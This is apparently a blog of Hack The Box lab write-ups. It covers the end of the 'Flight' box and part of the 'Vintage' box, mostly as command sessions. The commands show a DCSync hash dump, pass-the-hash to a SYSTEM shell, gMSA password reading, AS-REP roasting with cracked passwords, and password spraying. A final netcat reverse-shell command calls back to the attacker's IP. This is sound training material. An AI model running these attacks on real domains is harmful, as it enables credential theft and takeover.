      doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQwbCkZMSUdIVC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkZMSUdIVC5IVEKjggQgMIIEHKADAgESoQMCAQKiggQOBIIECmUGjzcbRS251O4bGQhhVU+GHvop38Uz8nMuzz17wzLwPwzsuTQVpAWadIo1vwjhsQwf5rbfodxKvfqAhtheuHJipS9xRvn7s7kXPNaRespxog61LVEOKBgh4KtS+oFh78+2G2X5MUFmHlKSCUaT1m+aRN64UiS49s+n+IhQhfOeCnhWSnt9b6pLo+IJ8tLhiGenlaMjqqWEtNbfNLOCviULWWj3KTN9ZQueXKioJs+paDemtT1XXq22kHt4A+vGKMcThrisuBBNbSyfV/MKH4Ln+ivenXOJNTbTJQU2Z5tGg8rIsyzVun1trPv1XGfjrIcMGdchR8CeNN4b1jJRXYaefxsU1jtSy5utvzFtuwEtlBSjZm1tD8ZAyAZbuJ1zqVz/Bc/W7LXSb1enRP6uATPqnwALsk/ZerKcsmYDBFHjBrNzdsUcaJV6dgQIMomwHQZ08pl5UmGE99H8qAi5Gsx7QMmieij4OQbN73UBsfP1tXyJXB3077c5Nl/HpKwZ17mn3BIFaptxKVukErC0qlm71183K/3ALJJ6UIO3aPLBjiukdkElMqAjjFwnrhDoaNr1APgAPtms1+i7ya/7b/zR6/jlLTbXwcZlK3dlgRhJJN/70HGPmNCYqzLnFe6pwrw48KstgUe+F30KeWuWyMApH/zko/AcwMOyJ6v9sn55knL+ixyAjL/PyssJBMPcITScGiw9FpIo0S4sQ5SJROBovYJpxADquHotNLhAum4dXpWXisg3inXFIV5QfD4xaD79wW+0yYi+PEKAyudLwd27XnlNAbcQfT2fX6L2yKPaB/eIYREoqFe35xXhJ685MvSmNt9b7VJmeDCzGEnVhfLrN/IB+4JL3H2/h6VlsY4PSaKBHoXCopxZSfTdX+wAD9COR2J8SyTzTe9VWkgfED2hED20Rdei5un7Sksx4QNyYxvVaEJCcDVJAZ/sfptgxRQ0A3VbdhJh6nKh5+Z/axxyzRgfkQem4Bqtjpgdc06WVLqUmOYZBVwyrsV1OUI33OCByuZcSZnpnrYsDjrCIA/HEOLJPFJyp8tcacL9xJYpPZ6RESHzWf7Lz7pGWIue2DMoXITzOnTxtBiJAm1Hya3Juqk0vC1yg9mqRC6ZNOwt0DfEGqfRBRcR5ryH/Wr6uoPVpAg3MKD2VYJoYuMua+FmdPFT9D4ItxVRY6bDS1RQN0mnhvLyhQjaSGoRvPvOGFAyv38aeMccegZaYseb5x52hX8GQxg82LCUjznZXubreDyeC3KrfxXpEb/46NevNyQmWFPP1Unas+isAkponCAXmJsSPon/nd719ZnEy6rYqwzDsnibOwlBHmxriS+Kp6UaDaqw7+lQBfjReQihtJFz0aTzquiczIQKo4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gKzApoAMCARKhIgQgipnYnT3hLPnvxaegn6bto0XfXYgm0dnq3suao30wH8ChDBsKRkxJR0hULkhUQqIQMA6gAwIBAaEHMAUbA0cwJKMHAwUAYKEAAKURGA8yMDI1MDMyMTAyMzEwN1qmERgPMjAyNTAzMjExMjMxMDdapxEYDzIwMjUwMzI4MDIzMTA3WqgMGwpGTElHSFQuSFRCqR8wHaADAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC

c:\ProgramData>

.

 

DCSync

Configure Kerberos Ticket

With a ticket for the machine account, I can do a DCSync attack, effectively telling the DC that I’d like to replicate all the information in it to myself. To do that, I’ll need to configure Kerberos on my VM to use the ticket I just dumped.

I’ll decode the base64 ticket and save it as ticket.kirbi. Then kirbi2ccache will convert it to the format needed by my Linux system:

┌──(puck㉿kali)-[~/htb/flight]
└─$ python3 kirbi2ccache.py    
usage: kirbi2ccache.py [-h] [-v] kirbi ccache
kirbi2ccache.py: error: the following arguments are required: kirbi, ccache
                                                                                                                      
┌──(puck㉿kali)-[~/htb/flight]
└─$ python3 kirbi2ccache.py ticket.kirbi ticket.ccache
INFO:root:Parsing kirbi file /home/puck/htb/flight/ticket.kirbi
INFO:root:Done!

Now I’ll export the environment variable to hold that ticket:

puck@kali$ export KRB5CCNAME=ticket.ccache 

Time Issues

It’s really common when doing these kinds of attacks to run into time issues. When I run secretsdump.py from Impacket to dump all the hashes from the DC, it fails:

puck@kali$ secretsdump.py -k -no-pass g0.flight.htb 
Impacket v0.10.1.dev1+20220720.103933.3c6713e - Copyright 2022 SecureAuth Corporation

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Cleaning up... 

It suggests adding -just-dc-user:

-just-dc-user USERNAME Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch

I’ll go for administrator, but it still fails:

puck@kali$ secretsdump.py -k -no-pass g0.flight.htb -just-dc-user administrator
Impacket v0.10.1.dev1+20220720.103933.3c6713e - Copyright 2022 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[*] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*] Cleaning up... 

Here’s the real issue – KRB_AP_ERR_SKEW.

Fix Time

I’ll fix the time with ntpdate, telling it to set my time to the NTP server on Flight:

puck@kali$ sudo ntpdate -s flight.htb

This will likely drop my VPN connection, but after reconnecting, I can dump the hashes:

┌──(puck㉿kali)-[~/htb/flight]
└─$ nano ticket2.kirbi
                                                                                                                    
┌──(puck㉿kali)-[~/htb/flight]
└─$ python3 kirbi2ccache.py ticket2.kirbi ticket2.ccache
INFO:root:Parsing kirbi file /home/puck/htb/flight/ticket2.kirbi
INFO:root:Done!
                                                                                                                    
┌──(puck㉿kali)-[~/htb/flight]
└─$ impacket-secretsdump -k -no-pass g0.flight.htb -just-dc-user administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[-] RemoteOperations failed: invalid principal syntax
[*] Cleaning up... 
                                                                                                                    
┌──(puck㉿kali)-[~/htb/flight]
└─$ export KRB5CCNAME=ticket2.ccache
                                                                                                                    
┌──(puck㉿kali)-[~/htb/flight]
└─$ klist         
Ticket cache: FILE:ticket2.ccache
Default principal: G0$@FLIGHT.HTB

Valid starting       Expires              Service principal
03/21/2025 03:31:07  03/21/2025 13:31:07  krbtgt/FLIGHT.HTB@FLIGHT.HTB
                                                                                                                    
┌──(puck㉿kali)-[~/htb/flight]
└─$ impacket-secretsdump -k -no-pass g0.flight.htb -just-dc-user administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:08c3eb806e4a83cdc660a54970bf3f3043256638aea2b62c317feffb75d89322
Administrator:aes128-cts-hmac-sha1-96:735ebdcaa24aad6bf0dc154fcdcb9465
Administrator:des-cbc-md5:c7754cb5498c2a2f
[*] Cleaning up... 
                                                                                                                    
┌──(puck㉿kali)-[~/htb/flight]

.

It works now without -just-dc-user as well:

┌──(puck㉿kali)-[~/htb/flight]
└─$ impacket-secretsdump -k -no-pass g0.flight.htb                            
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6a2b6ce4d7121e112aeacbc6bd499a7f:::
S.Moon:1602:aad3b435b51404eeaad3b435b51404ee:f36b6972be65bc4eaa6983b5e9f1728f:::
R.Cold:1603:aad3b435b51404eeaad3b435b51404ee:5607f6eafc91b3506c622f70e7a77ce0:::
--snip--
G0$:aes256-cts-hmac-sha1-96:11ad9a25157bdc6e7fd9df6c0872c33d790f7660c6f5e6ea526996b808e4d7bb
G0$:aes128-cts-hmac-sha1-96:fa0d7c35e273ae2121d1e3c54b19c3cf
G0$:des-cbc-md5:463d9edadc20e308
[*] Cleaning up... 
                                                                                                                    
┌──(puck㉿kali)-[~/htb/flight]

..

Shell

Those hashes work for a pass the hash attack:

┌──(puck㉿kali)-[~/htb/flight]
└─$ nxc smb flight.htb -u administrator -H aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c 
SMB         10.10.11.187    445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [+] flight.htb\administrator:43bbfc530bab76141b12c8446e30c17c (Pwn3d!)
Itshows Pwn3d! because the creds are good and this is an administrator account.

psexec.py works to get a shell from here:

┌──(puck㉿kali)-[~/htb/flight]
└─$ impacket-psexec administrator@flight.htb -hashes aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on flight.htb.....
[*] Found writable share ADMIN$
[*] Uploading file FQixGuoG.exe
[*] Opening SVCManager on flight.htb.....
[*] Creating service dYER on flight.htb.....
[*] Starting service dYER.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> hostname
g0

C:\Windows\system32> 

.

That was Fun 🙂

Protected: htb-escapetwo

This content is password protected. To view it please enter your password below:

Posted on

htb-vintage

htb-vintage

As is common in real life Windows pentests, you will start the Vintage box with credentials for the following account: P.Rosa / Rosaisbest123

nmap scan

└─$ nmap -Pn -sC -sV 10.10.11.45 -oN vintage.nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2025-01-16 17:01 CET
Nmap scan report for 10.10.11.45
Host is up (0.013s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-16 16:01:53Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-01-16T16:01:58
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.93 seconds

.

$ nxc ldap vintage.htb -k -d vintage.htb -u p.rosa -p Rosaisbest123 -k
LDAP        vintage.htb     389    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP        vintage.htb     389    dc01.vintage.htb [+] vintage.htb\p.rosa:Rosaisbest123

Enumeration :

Retrieve the permissions of the initial account, and the netexecfeedback information is (NTLM:False) shows that NTLM auth is disabled. I’ll try with Kerberos and it works:

These also only work on the full hostname because Windows and Kerberos care about this kind of thing:

Then use the Kerberos protocol to verify and obtain the TGT ticket first.

└─$ impacket-getTGT vintage.htb/P.Rosa:'Rosaisbest123' -dc-ip dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in P.Rosa.ccache
                                                                                                                     
┌──(puck㉿kali)-[~/htb/vintage]
└─$ export KRB5CCNAME=P.Rosa.ccache                                    
                                                                                                                     
┌──(puck㉿kali)-[~/htb/vintage]
└─$ klist            
Ticket cache: FILE:P.Rosa.ccache
Default principal: P.Rosa@VINTAGE.HTB

Valid starting       Expires              Service principal
01/16/2025 17:31:09  01/17/2025 03:31:09  krbtgt/VINTAGE.HTB@VINTAGE.HTB
    renew until 01/17/2025 17:31:09
                                                                                                                     
┌──(puck㉿kali)-[~/htb/vintage]
└─$ 

 

Many operations in AD require attention to time synchronization. It can be seen that after synchronizing the time, it is verified that P.Rosa can log in to LDAP.

└─$ netexec ldap 10.10.11.45 -u P.Rosa -k --use-kcache 
LDAP        10.10.11.45     389    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.45     389    dc01.vintage.htb [+] vintage.htb\P.Rosa from ccache 

 

Use the P.Rosa account to brute force the RID.

┌──(puck㉿kali)-[~/htb/vintage]
└─$ nxc smb dc01.vintage.htb -d vintage.htb -u P.Rosa -k --use-kcache --rid-brute
SMB         dc01.vintage.htb 445    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:dc01.vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01.vintage.htb [-] vintage.htb\P.Rosa from ccache KDC_ERR_S_PRINCIPAL_UNKNOWN 
--snip--
SMB         dc01.vintage.htb 445    dc01.vintage.htb 1140: VINTAGE\C.Neri_adm (SidTypeUser)
SMB         dc01.vintage.htb 445    dc01.vintage.htb 1141: VINTAGE\L.Bianchi_adm (SidTypeUser)

..

┌──(puck㉿kali)-[~/htb/vintage]
└─$ nxc smb dc01.vintage.htb -d vintage.htb -u P.Rosa -k --use-kcache --rid-brute| grep SidTypeUser | cut -d: -f2 | cut -d \\ -f2 | cut -d' ' -f1 > users.txt
                                                                                                                     
┌──(puck㉿kali)-[~/htb/vintage]
└─$ cat users.txt    
Administrator
Guest
krbtgt
DC01$
gMSA01$
FS01$
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm

.

└─$ nxc ldap dc01.vintage.htb -d vintage.htb -u P.Rosa -p Rosaisbest123 -k --bloodhound --collection All --dns-server 10.10.11.45

[*] Initializing LDAP protocol database
LDAP        dc01.vintage.htb 389    DC01             [*] None (name:DC01) (domain:vintage.htb)
LDAP        dc01.vintage.htb 389    DC01             [+] vintage.htb\P.Rosa:Rosaisbest123 
LDAP        dc01.vintage.htb 389    DC01             Resolved collection methods: container, localadmin, objectprops, rdp, group, psremote, trusts, dcom, session, acl
LDAP        dc01.vintage.htb 389    DC01             Using kerberos auth without ccache, getting TGT
LDAP        dc01.vintage.htb 389    DC01             Done in 00M 08S
LDAP        dc01.vintage.htb 389    DC01             Compressing output into /home/bolke/.nxc/logs/DC01_dc01.vintage.htb_2025-05-01_092809_bloodhound.zip

.

bloodhound-python -c All -u P.Rosa -p Rosaisbest123 -ns 10.10.11.45 -d vintage.htb -dc dc01.vintage.htb --zip

In bloodhound, we can see that P.Rosa has no permissions to operate other accounts. However, we can see that FS01 belongs to the PRE-WINDOWS 2000 Compatible Access group.

.

Try using the pre2k tool to find users with weak passwords.

┌──(bolke㉿bolke)-[~/htb]
└─$ git clone https://github.com/garrettfoster13/pre2k-TS.git -q
                                                                                                                                       
┌──(bolke㉿bolke)-[~/htb]
└─$ cd pre2k-TS
                                                                                                                                       
┌──(bolke㉿bolke)-[~/htb/pre2k-TS]
└─$ python3 -m venv .venv_pre2k
                                                                                                                                       
┌──(bolke㉿bolke)-[~/htb/pre2k-TS]
└─$ source .venv_pre2k/bin/activate
                                                                                                                                       
┌──(.venv_pre2k)─(bolke㉿bolke)-[~/htb/pre2k-TS]
└─$ pip3 install -r requirements.txt
Collecting git+https://github.com/ly4k/ldap3 (from -r requirements.txt (line 2))
  --snip--
ldapdomaindump-0.10.0 markdown-it-py-2.2.0 mdurl-0.1.2 pyOpenSSL-25.0.0 pyasn1-0.4.8 pycparser-2.22 pycryptodomex-3.22.0 pygments-2.19.1 rich-13.3.1 six-1.17.0
                                                                                                                                       
┌──(.venv_pre2k)─(bolke㉿bolke)-[~/htb/pre2k-TS]
└─$ echo 'FS01$' > pre2k_machine.txt
                                                                                                                                       
┌──(.venv_pre2k)─(bolke㉿bolke)-[~/htb/pre2k-TS]
└─$ python3 pre2k.py unauth -d vintage.htb -dc-ip dc01.vintage.htb -input pre2k_machine.txt -save
/home/bolke/htb/pre2k-TS/pre2k.py:23: SyntaxWarning: invalid escape sequence '\ '
  show_banner = '''

                                ___    __                __                    
                              /'___`\ /\ \              /\ \__                 
 _____   _ __    __          /\_\ /\ \\ \ \/'\          \ \ ,_\   ____       
/\ '__`\/\`'__\/'__`\ _______\/_/// /__\ \ , <    _______\ \ \/  /',__\        
\ \ \L\ \ \ \//\  __//\______\  // /_\ \\ \ \\`\ /\______\\ \ \_/\__, `\
 \ \ ,__/\ \_\\ \____\/______/ /\______/ \ \_\ \_\/______/ \ \__\/\____/     
  \ \ \/  \/_/ \/____/         \/_____/   \/_/\/_/          \/__/\/___/        
   \ \_\                                                                       
    \/_/                                        @garrfoster                     

Reading from pre2k_machine.txt...
Testing started at 2025-04-30 13:43:28.781129
Saving ticket in FS01$.ccache
[+] VALID CREDENTIALS: vintage.htb\FS01$:fs01
                                                                                                                                       
┌──(.venv_pre2k)─(bolke㉿bolke)-[~/htb/pre2k-TS]
└─$ 

.

Also Domain Computers is typical, but Pre-Windows 2000 Compatible Access is interesting, and a Microsoft defined group. Being a Pre-Windows 2000 means that the machine password is likely the all lowercase hostname (without a trailing “$”). It works:

└─$ netexec ldap vintage.htb -u 'FS01$' -p fs01 -k
LDAP        vintage.htb     389    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP        vintage.htb     389    dc01.vintage.htb [+] vintage.htb\FS01$:fs01 

.

└─$ impacket-getTGT vintage.htb/FS01$:fs01
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in FS01$.ccache
                                                                                                                            
└─$ export KRB5CCNAME=FS01\$.ccache
                                                                                                                            
└─$ klist
Ticket cache: FILE:FS01$.ccache
Default principal: FS01$@VINTAGE.HTB

Valid starting       Expires              Service principal
05/01/2025 13:45:04  05/01/2025 23:45:04  krbtgt/VINTAGE.HTB@VINTAGE.HTB
    renew until 05/02/2025 13:45:03

.

Next, FS01 belongs to the Domain Computers group and can read the password of the gMSA (Group Managed Service Account).

.

Read the password hash of the GMSA01 account with bloodyAD

┌──(bolke㉿bolke)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k get object 'GMSA01$' --attr msDS-ManagedPassword

distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:0ae29a5cdfa7d5b72464dc92ffeaa8d1
msDS-ManagedPassword.B64ENCODED: ty0aA5C/XrOL6Y9WX9oh9HVPkZt0LuzCev+iAuZfmr2JuYWvtLnlU9DWeV94D7cL0TYP/7z4JKNNKwZaW3nzVkh6dWEDQpArgRPAzakAo798b146sR2FxiX7tzwvWFwiua8wv4fN34853UAKyGrcXR9OxUMOpwhXeRAX4oUz/ggCcZ6VxCpcsXXMPx/cQ/KSW3gPgpUrD3F0S91dm5qBD2a2pUmoPtFr16G1G/XF1jFPIDZp+QTe4HoSgg7+LtjD8aYIBVatzn6WLLwrHkxP5ZJ2RvHb8YH1jAR9lZDx5eCouGfkq8/4kelNN//JaPh5EwTMrWQrVEY6xk/yJDVXmg==

 

or with netexec

┌──(bolke㉿bolke)-[~/htb/vintage]
└─$ netexec ldap vintage.htb -u 'FS01$' -p fs01 -k --gmsa
LDAP        vintage.htb     389    DC01             [*] None (name:DC01) (domain:vintage.htb)
LDAP        vintage.htb     389    DC01             [+] vintage.htb\FS01$:fs01 
LDAP        vintage.htb     389    DC01             [*] Getting GMSA Passwords
LDAP        vintage.htb     389    DC01             Account: gMSA01$              NTLM: 0ae29a5cdfa7d5b72464dc92ffeaa8d1     PrincipalsAllowedToReadPassword: Domain Computers

 

With the hash, you can apply for a TGT ticket.

└─$ impacket-getTGT vintage.htb/GMSA01$ -hashes aad3b435b51404eeaad3b435b51404ee:0ae29a5cdfa7d5b72464dc92ffeaa8d1
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in GMSA01$.ccache
                                                                                                                         
└─$ export KRB5CCNAME=GMSA01\$.ccache
                                                                                                                         
└─$ klist
Ticket cache: FILE:GMSA01$.ccache
Default principal: GMSA01$@VINTAGE.HTB

Valid starting       Expires              Service principal
05/01/2025 13:53:07  05/01/2025 23:53:07  krbtgt/VINTAGE.HTB@VINTAGE.HTB
    renew until 05/02/2025 13:53:06

.

Next, check the permissions of the GMSA01 account,[First Degree Object Control] which has the permissions to write to SERVICEMANAGERS and add itself.

Without thinking too much, add the GMSA01 account to the SERVICEMANAGERS group. Unfortunately, the pth-net command in the bloodhound help does not work, NTLM authentication is not enabled, and bloodyAD must be used.

┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "vintage.htb" --dc-ip 10.10.11.45 -k add groupMember "SERVICEMANAGERS" "GMSA01$"
[+] GMSA01$ added to SERVICEMANAGERS

We see

┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "vintage.htb" --dc-ip 10.10.11.45 -k get search --filter "(objectClass=user)" --attr userAccountControl

distinguishedName: CN=Administrator,CN=Users,DC=vintage,DC=htb
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

--snip--

distinguishedName: CN=svc_ldap,OU=Pre-Migration,DC=vintage,DC=htb
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

distinguishedName: CN=svc_ark,OU=Pre-Migration,DC=vintage,DC=htb
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

distinguishedName: CN=C.Neri_adm,CN=Users,DC=vintage,DC=htb
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

distinguishedName: CN=L.Bianchi_adm,CN=Users,DC=vintage,DC=htb
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
                                                                  
┌──(puck㉿kali)-[~/htb/vintage]

.

After joining the group, gmsa01 needs to obtain tgt again,! the command is the same as before.

Check what the SERVICEMANAGERS group can do, and finally there is an object of First Degree Object Control.

Using the permissions of gmsa01, set all three accounts that can be controlled to not require PREAUTH.

┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_ARK -f DONT_REQ_PREAUTH 
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_ARK's userAccountControl
                                                                                                                     
┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_SQL -f DONT_REQ_PREAUTH 
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_SQL's userAccountControl
                                                                                                                     
┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_LDAP -f DONT_REQ_PREAUTH 
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_LDAP's userAccountControl

You can also check the account status and find that svc_sql is not enabled, so you need to enable it (you can also see that the account Enabled is False in bloodhound).

┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host "dc01.vintage.htb" -d "vintage.htb" --kerberos --dc-ip 10.10.11.45 -k get search --filter "(objectClass=user)" --attr userAccountControl 


remove ‘ACCOUNTDISABLE’] property flags removed from SVC_SQL’s userAccountControl

┌──(puck㉿kali)-[~/htb/vintage]
└─$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE 
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl
.

Now, we have several accounts that do not need PREAUTH and can export hashes. This hash is mainly used for offline cracking.

┌──(puck㉿kali)-[~/htb/vintage]
└─$ impacket-GetNPUsers vintage.htb/ -request -outputfile np.txt -format hashcat -usersfile users.txt 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User DC01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User gMSA01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User FS01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User M.Rossi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User R.Verdi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User G.Viola doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User P.Rosa doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc_sql@VINTAGE.HTB:a1ebad6adc41264b15d9c96945eacb78$82bfb25adc4b57c7a4e9a4eb9db2839176d8293cb1d89403422e1f48dac8097e4505150115344171da008ae3f073418e65045acb5c6a94fa279fc132a585f78e0a04b6375f8b967ded0fcd6dcac1b85d121b622c4aa86a57f89897fbf28960d997277e67c40edf56cddd195af8c564a4da8c3f3a4629f8868f69ac35a3845302cb1cbfa946285e5f46bbc11d51a5583af44de6cd5262000a3b7ecd712e1e2937119e5357caff4daa05f9601085d37f2e44692fe191bdfe307d96a588071d8b3fa5b0599071f1b74593e9bc9095cc5e2ea4e7f5fe65df160ed16ff1dada0f27a3d2f49d2961a51dd36060
$krb5asrep$23$svc_ldap@VINTAGE.HTB:e711658245a838f59df9ac41025ceb9e$5e1d241dbc738902d1756c9a6cf613b3f099616b19615829df8ecb6e3597a64b571c8655c9f51717e4ae474079ff24829a5c61d67893874ba3f23ac400acd37e715e316963e270c3c0433acfa1011016e3b6669287ad38e193009c42d5793e7b2d7b59780b404f5aa14c16059063edb89e2987d86e847ea03c216dd02410f6be445e3b73cfefe71fd953801a13469e46b59a8d0c4934561c305360c7048b5ee4851e80054cad28604942360d2a7fec6ea3610c5b206ceea95302e26970bae3112e2c7e8cef45e3086a4e7fc33b85b4ac687ce9b1456587900da78438fc64a1be122224c8c20073248c8e
$krb5asrep$23$svc_ark@VINTAGE.HTB:56e178a699d3f9c6ac10111bb366ea0f$4b957bbd3b7f8bf8d479ee806e458b8dc1c6f18ee5f3ef82f5a36ec00dc3339df669dd05b92affddf802303117ecbcdb8ab73185c932ae4f2ff46ae0bb86f60465a2a0383c4265ced3368c3a29569d2b002c720eb57fea1b5d2b355d192669b4f9f97bb9e436b6ab75f558d1430f74ffbc4a929e0d4b84e87b91a2bb656f165ecb661888da027571c874583661630075b3d726152478fd62cd134d0043ab4b78044b8123d0a150b9caa3a68badb52af627f1978de785fc186f62c3a0f2ea5502f9baa945b87247c83b7e502ddf6b610a2c1ec3a201ba692762b3b5b81faa6d033aeeb7e6f4f88805cb94
[-] User C.Neri_adm doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi_adm doesn't have UF_DONT_REQUIRE_PREAUTH set

Cracking can get the password of svc_sql.

┌──(puck㉿kali)-[~/htb/vintage]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt np.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Zer0the0ne       ($krb5asrep$23$svc_sql@VINTAGE.HTB)     
1g 0:00:00:12 82.53% (ETA: 11:00:25) 0.08326g/s 984949p/s 2056Kc/s 2056KC/s 7hansome7..7boogers
1g 0:00:00:14 DONE (2025-01-17 11:00) 0.06910g/s 991275p/s 2054Kc/s 2054KC/s !)(OPPQR..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

.

After another password spraying attack, it was found that C.Neri also used the same password Zer0the0ne

I had a lot of prroblems winrm crashing so i went for powershell

┌──(puck㉿kali)-[~/htb/vintage]
└─$ pwsh                 
PowerShell 7.2.6
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.


┌──(puck㉿kali)-[/home/puck/htb/vintage]
└─PS> Enter-PSSession dc01.vintage.htb -Credential C.Neri          

PowerShell credential request
Enter your credentials.
Password for user C.Neri: Zer0the0ne

[dc01.vintage.htb]: PS C:\Users\C.Neri\Documents> 

to get a better stable shell ./nc64.exe -e powershell.exe 10.10.14.4 443

┌──(bolke㉿bolke)-[~/htb/vintage]
